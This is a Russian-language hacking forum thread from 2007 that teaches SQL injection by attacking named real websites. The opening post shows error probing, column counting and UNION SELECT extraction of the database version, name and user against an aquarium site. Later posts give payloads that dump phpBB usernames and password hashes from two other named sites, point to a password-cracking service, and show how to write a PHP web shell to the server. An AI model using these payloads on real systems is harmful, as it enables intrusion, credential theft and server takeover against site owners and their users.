[Взлом] Основы SQL инекций на примерах

Тема в разделе "Статьи и Co", создана пользователем CraZee, 14 ноя 2007.

  1. CraZee

    CraZee

    Регистр.:
    11 сен 2006
    Сообщения:
    603
    Симпатии:
    665
    В принципе много уже написано о том, что это за зверь и какие шашлыки из него бывают.

    Но ....

    Я попробую простым языком и с живыми примерами заинтересовать Вас копаться в данном направлении.

    Начнемс...

    ----------------------------------
    Объект для исследований: http://www.aquariumist.com.ua
    Цель: Собрать максимум информации и взломать сайт

    -----------------------------------

    Обычно мелкие сайты пишутся руками кривых программистов. Данный пример тоже не является исключением из правил.

    1) Определяем - есть ли уязвимость на сайте.

    В адресной строке вместо этого адреса:
    Код:
    http://www.aquariumist.com.ua/fish.php?id=1
    пишем вот этот:
    Код:
    http://www.aquariumist.com.ua/fish.php?id=1'

    На экране появляется злобная фраза:


    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

    Раз выползла ошибка - значит сайт уязвим.

    Перепроверяем:

    Смотрим на страницу:

    Код:
    http://www.aquariumist.com.ua/fish.php?id=1
    и

    Код:
    http://www.aquariumist.com.ua/fish.php?id=2-1
    Они одинаковы. Значит действительно слабая фильтрация в запросах и мы можем атаковать сайт.

    2) Определяем количество полей в базе.

    Вначале определяем количество полей.
    Если сайт маленький и полей тоже немного (по идее :) ) то можно брать простым перебором:
    Код:
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1/*
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2/*
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2,3/*
    и т.д. до тех пор, пока не увидим какую то отличную надпись.

    Но такой метод не годится, когда полей много. Поэтому пользуемся оператором
    ORDER BY.

    т.е если выражение:
    Код:
    http://www.aquariumist.com.ua/fish.php?id=1+order+by+3/*
    не выдаст ошибку - это значит что в запросе используется как минимум 2 полей. Вводим еще одно выражение:
    Код:
    http://www.aquariumist.com.ua/fish.php?id=1+order+by+10/*
    Это выражение выполнится с ошибкой, т.к. 10 -го поля не существует и теперь нам известно что полей в выражении не меньше 3 и не больше 9. Выбираю любое число из этого диапазона (желательно среднее:(
    Код:
     http://www.aquariumist.com.ua/fish.php?id=1+order+by+6/*

    Ошибка! Число полей меньше шести.

    Код:
    http://www.aquariumist.com.ua/fish.php?id=1+order+by+4/*

    Ошибки нет. Количество полей больше 4-х.


    Код:
    http://www.aquariumist.com.ua/fish.php?id=1+order+by+5/*

    Ошибки нет. Это последнее значение, которое идет без ошибки. Значит - количество полей равно пяти.

    Формируем следующий запрос:

    Код:
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2,3,4,5/*


    Первая информация, которую мы сможем добыть. Что она нам подскажет ? Первое "не скажу" в этом рассказе :)

    3) Определяем версию MySQL.

    Все достаточно просто. Вместо одного из полей пишем запрос версии:

    Код:
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2,3,4,version()/*


    Получаем:
    4.1.22
    --------------------------

    Устал писать :) Продолжение следует. Пока остальное как домашнее задание :D Пишите решения в этой ветке.


     
  2. CraZee

    CraZee

    Регистр.:
    11 сен 2006
    Сообщения:
    603
    Симпатии:
    665
    Вспомнил, что можно использовать и такой код:

    Код:
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5
    Он нам покажет версию MySQL, название базы данных и пользователя.
     
  3. surt

    surt Писатель

    Регистр.:
    28 авг 2007
    Сообщения:
    6
    Симпатии:
    2
    Так что же можно со знанием этой версии MySQL сделать?
    А на запрос
    Код:
    http://www.aquariumist.com.ua/fish.php?id=-1+union+select+1,2,3,4,user+from+mysql.user
    не хватает прав :confused:
     
  4. genarator2003

    genarator2003 Постоялец

    Регистр.:
    23 авг 2007
    Сообщения:
    113
    Симпатии:
    8
    А можно поподробнее про union запросы
    почему к
    Код:
    http://www.aquariumist.com.ua/fish.php?id=
    дописываем
    Код:
    -1+union+select+1/*
    Почему пишем вместо 1
    Код:
    -1
     
  5. CraZee

    CraZee

    Регистр.:
    11 сен 2006
    Сообщения:
    603
    Симпатии:
    665
    Можно и просто 1, это я по привычке так писал. Ведь новости под номером -1 даже теоретически не существует.

    Лично я начинал учиться по следующим книгам. Для тех, у кого есть вопросы и желание углубиться внутрь сайтов прикрепил две хорошие книги.
     

    Вложения:

    • SQL inj.rar
      Размер файла:
      1.017,9 КБ
      Просмотров:
      173
    Suro и Лариса нравится это.
  6. arximed

    arximed

    Регистр.:
    13 фев 2007
    Сообщения:
    152
    Симпатии:
    15
    Прикольные книжечки. А на русском они есть? Или чтото такое же простое на русском...
     
  7. genarator2003

    genarator2003 Постоялец

    Регистр.:
    23 авг 2007
    Сообщения:
    113
    Симпатии:
    8
    Мы ждём продолжения очееень!!!!
    Будет??
     
  8. CraZee

    CraZee

    Регистр.:
    11 сен 2006
    Сообщения:
    603
    Симпатии:
    665
    Будет. Пока занят другими делами.

    Пару идей в продолжение. Тоже на самостоятельное рассмотрение и изучение.


    Уязвимость:

    Код:
    http://www.opelclub.lv/phpbb/links.php?t=search&search_keywords=asd&start=1+UNION+SELECT+1,username,user_password,4,5,6,7,8,9,10,11,12,13+FROM+phpbb_users/*
    http://www.jvmbots.com/links.php?t=search&search_keywords=asd&start=1+UNION+SELECT+1,username,user_password,4,5,6,7,8,9,10,11,12+FROM+phpbb_users/*
    
    Куда идти дальше:
    http://passcracking.ru/index.php
     
  9. 4NATIC

    4NATIC Постоялец

    Регистр.:
    27 дек 2006
    Сообщения:
    95
    Симпатии:
    22
    Что делать когда SQL иньекция есть, но отсутствует вывод данных?
     
  10. CraZee

    CraZee

    Регистр.:
    11 сен 2006
    Сообщения:
    603
    Симпатии:
    665
    1) Откуда тогда известно, что инъекция проходит, если результата не видно ?

    2) Можешь попробовать залить шелл через инъекцию. Подобной командой:

    Код:
    =-1+union+select+<?system($_GET['cmd']);?>+from+table1+into+outfile+'/path/to/shell'/*